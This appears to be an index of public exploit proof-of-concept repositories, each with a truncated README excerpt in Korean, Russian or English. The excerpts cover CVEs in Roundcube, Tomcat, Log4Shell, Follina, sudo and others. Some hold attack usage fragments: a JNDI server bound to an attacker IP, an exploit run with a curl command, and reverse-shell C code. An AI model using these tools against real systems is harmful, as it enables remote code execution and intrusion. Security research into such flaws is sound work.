CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 — PHP 객체 역직렬화를 통한 Roundcube 인증 후 RCE 개요 필드| 세부 정보 ---|--- CVE| CVE-2025-49113 소프트웨어| Roundcube Webmail 영향받는 버전| ≤ 1.6.10 취약점| PHP 객체 역직렬화 → RCE 인증| 필요 모든 유효한 사용자 영향| 서버에서의 원격 코드 실행 발견 경위| HackTheBox CTF 중 발견됨 설명 Roundcube Webmail 1.6.10 이하 버전은 인증 후 원격 코드 실행RCE에 취약합니다. 파일 업로드 핸들러는...

CVE-2025-24813

CVE-2025-24813 Скрипт Proof of Concept PoC для CVE-2025-24813, уязвимости в Apache Tomcat. Скрипт был модифицирован на основе соответствующей ссылки и адаптирован под мои нужды. Настройка уязвимого окружения Tomcat Окружение основано на официальном образе Tomcat 9.0.90. Оно снимает ограничение...

CVE-2014-6271-Shellshock

CVE-2014-6271 Shellshock infrar3d가 제작 이 저장소는 CVE-2014-6271 Shellshock 에 대한 개념 증명PoC 익스플로잇을 포함합니다. Shellshock는 GNU Bash의 치명적인 취약점으로, 특수하게 조작된 환경 변수를 통해 임의 명령 실행 이 가능하게 합니다. 웹 서버가 HTTP 헤더를 Bash를 호출하는 CGI 스크립트로 전달할 때, 공격자는 해당 헤더를 통해 명령을 주입할 수 있습니다. 사용법: ./shellshockexp.sh -h shellshockexp.sh options...

CVE-2018-20250

Winrar에서 코드 실행 추출을 위한 exp Ridter의 poc 사용 방법? python 3.7을 설치하고, 실행하려는 악성 파일을 준비한 다음 원하는 값을 설정하기만 하면 됩니다. 이 exp 스크립트가 악성 아카이브 파일을 자동으로 생성합니다! 1. 원하는 값을 설정하세요 ... ... The archive filename you want rarfilename = "test.rar" The evil file you want to run evilfilename = "calc.exe" The decompression path...

CVE-2025-47812

CVE-2025-47812 — Wing FTP Server 비인증 RCE ██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗ ██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗ ██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝ ██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝ ╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║...

CVE-2025-32434-exploit

Обзор Этот эксплойт демонстрирует критическую уязвимость удаленного выполнения кода CVE-2025-32434 в PyTorch версиях /tmp/whoami" Test the exploit loads the model to verify RCE python3 exploit.py -c "id" -t Advanced exploit variant with alternative bypass python3 exploit.py --advanced -c "curl -s...

CVE-2022-36162

CVE-2022-36162 제안된 설명 pdftoroff hovacui 1.1.0은 명령 실행에 영향을 받습니다. 영향은 로컬에서 임의 코드를 실행하는 것입니다. 구성 요소는 hovacui.c, 1574번 줄입니다. 공격 벡터는 HOME 환경 변수를 변경하고, postsave로 명령을 설정한 다음, PDF 파일을 열고 저장하기만 하면 됩니다. hovacui에서 취약점이 발견되어 임의 명령 실행이 가능해집니다. 1574번 줄: 1574 systemcommand; HOME 환경 변수가 신뢰되며, 공격자는 이를 위조할 수 있습니다...

CVE-2025-24893-XWiki-SSTI-RCE

CVE-2025-24893 — XWiki SSTI 원격 코드 실행 개요 필드| 세부 사항 ---|--- CVE| CVE-2025-24893 소프트웨어| XWiki 취약점| 서버 측 템플릿 인젝션 SSTI → RCE 인증| 필요 없음 CVSS 점수| 심각 맥락| HackTheBox CTF 중 발견됨 설명 XWiki는 소독 처리가 되지 않은 상태에서 Groovy 템플릿 엔진을 통해 사용자 입력을 렌더링하는 SolrSearch 엔드포인트/xwiki/bin/get/Main/SolrSearch를 노출합니다. 인증되지 않은 공격자는 te...

CVE-2018-6574

CVE-2018-6574 재현 단계: 1. 악성 명령revshell이 포함된 .c 파일을 생성합니다: include include static void malicious attributeconstructor; void malicious system""; 2. GCC로 컴파일합니다. 대상과 정확히 동일한 아키텍처 및 OS에서 컴파일해야 합니다예: Linux x8664: gcc -shared -o attack.so -fPIC attack.c 3. Go가 우리의 악성 플러그인을 사용하도록 지시하는 헤더를 포함한 main.go 파일을...

system_bt_AOSP10_r33_CVE-2020-0471

Стек Bluetooth Fluoride Сборка и запуск на AOSP Просто соберите AOSP — Fluoride уже включён по умолчанию. Сборка и запуск на Linux Инструкции для Ubuntu, протестировано на 14.04 с Clang 3.5.0 и 16.10 с Clang 3.8.0 Загрузка исходного кода mkdir /fluoride cd /fluoride git clone...

JNDI-Exploit-1.2-log4shell

JNDI-Exploit-1.2-log4shell Сведения : CVE-2021-44228 Использование : ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u, --usage Show...

GPEWebDefender

GPEWebDefender 웹 공격 모니터. nginx / Caddy / 앱 옆에 위치하며, 액세스 로그를 추적하고 사이트가 탐색되거나 공격받고 있을 때 알려줍니다. 이 프로세스가 죽어도 사이트는 계속 서비스됩니다. Wazuh도, OSSEC도, WAF도 아닙니다. 명령은 gpewebdefender입니다. 호스트, 토큰, 지도 핀, GeoIP, 로그 경로는 플래그 또는 환경 파일입니다 — 특정 회사나 서버에 대한 내용은 컴파일되어 있지 않습니다. 이것을 한 번도 실행해 본 적이 없다면: 이 파일을 처음부터 끝까지 한 번 읽고,...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813은 Apache Tomcat에 영향을 미칩니다. 취약한 버전이고 매우 잘못 구성된 경우, 공격자는 GET 1회와 POST 1회만으로 RCE원격 코드 실행를 달성할 수 있습니다. 자세한 정보는 여기에서 확인하세요. 이 스크립트는 최근 writeup에서 공개된 Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng의 스크립트를 수정하여, 명령어를 입력받고 모든 ysoserial 가젯 페이로드를 생성해 대상에 전송할 수 있게 한 것입니다...

AntimalwareBlight

Use this PowerShell module to execute PowerShell code at the antimalware-light protection level. This code was highlighted in the Living Off the Walled Garden: Abusing the Features of the Early Launch Antimalware Ecosystem REcon talk as well as Black Hat USA 2022. This module needs to run elevate...

follina.py

'Follina' MS-MSDT n-day Microsoft Office RCE 'Follina' Office RCE 취약점을 로컬 테스트 목적으로 재현하기 위한 간단한 POC입니다. 스크립트를 실행하면 현재 작업 디렉터리에 clickme.docx또는 clickme.rtf 페이로드 파일이 생성되고, 페이로드 파일www/exploit.html이 포함된 웹 서버가 시작됩니다. 페이로드 및 웹 서버 매개변수는 구성 가능합니다도움말 및 예시 참조. ⚠ 프로덕션 환경에서 사용하지 마시오. 그러지 않으면 바보로 간주될 것입니다. 사용법:...

CVE-2025-66478-PoC-Reverse-Shell

CVE-2025-66478 / CVE-2025-55182 "React2Shell" — RSC Server Actions 역직렬화 RCE PoC CVE-2025-55182 에 대한 개념 증명 익스플로잇 — 공개적으로 "React2Shell" 이라는 별명으로 알려진, React Server Components의 Server Actions 역직렬화react-server-dom-webpack / -parcel / -turbopack에서 발생하는 서버 측 프로토타입 오염 취약점입니다. Next.js는 이 취약점을 CVE-2025-664...

CVE-2025-8110

CVE-2025-8110 Gogs 저장소 심볼릭 링크 원격 코드 실행 oguiii 제작 목차 개요 기능 요구 사항 설치 사용법 익스플로잇 워크플로 기술 분석 개념 증명 데모 영향받는 버전 완화 조치 탐지 면책 조항 라이선스 개요 CVE-2025-8110은 Gogs의 심각한 취약점으로, 인증된 공격자가 저장소 심볼릭 링크 조작을 통해 원격 코드 실행을 달성할 수 있습니다. 이 개념 증명은 인증부터 리버스 셸 획득까지의 전체 익스플로잇 체인을 보여줍니다. 이 취약점은 Gogs가 API를 통해 저장소 파일을 처리할 때 심볼릭 링크를...

wptsextensions.dll

작업 스케줄러 DLL 하이재킹 악용을 위한 WptsExtensions.dll "수정 안 됨" x64 Visual Studio 환경 변수 로드: "C:\Program Files x86\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat" TCHAR script 변수를 DLL이 검색될 쓰기 가능한 SYSTEM 경로로 업데이트하세요. 이 도구를 확인하여 그러한 경로들을 찾으세요. 다음 명령으로 이 환경 변수를 나열할 수도 있습니다: powershell -c...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPE 익스플로잇 테스트 지원: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32, Win2003 x64 원래 exp는 XP, 2003을 지원하지 않았으며, 현재 코드는 원래 코드를 기반으로 이 두 시스템에 대한 지원을 추가했습니다. 사용법 CVE-2018-8120 exploit by...

CVE-2025-32463

많이 영향을 받고, 복사되고, 기반이 된 형식은 pr0v3rbs 의 유사한 저장소https://github.com/pr0v3rbs/CVE-2025-32463i\chwoot.git의 형식을 따릅니다. 이것은 빠르고 단일 소스 전달, 실행 및 정리를 위한 C 재구현입니다. CVE-2025-32463 – sudo chroot"chwoot" PoC 이 저장소는 sudo의 chroot 기능에서 CVE‑2025‑32463 권한 상승 결함을 입증하기 위한 최소한의 재현 가능 환경을 제공합니다. 이 취약점은 Stratascale의 Rich...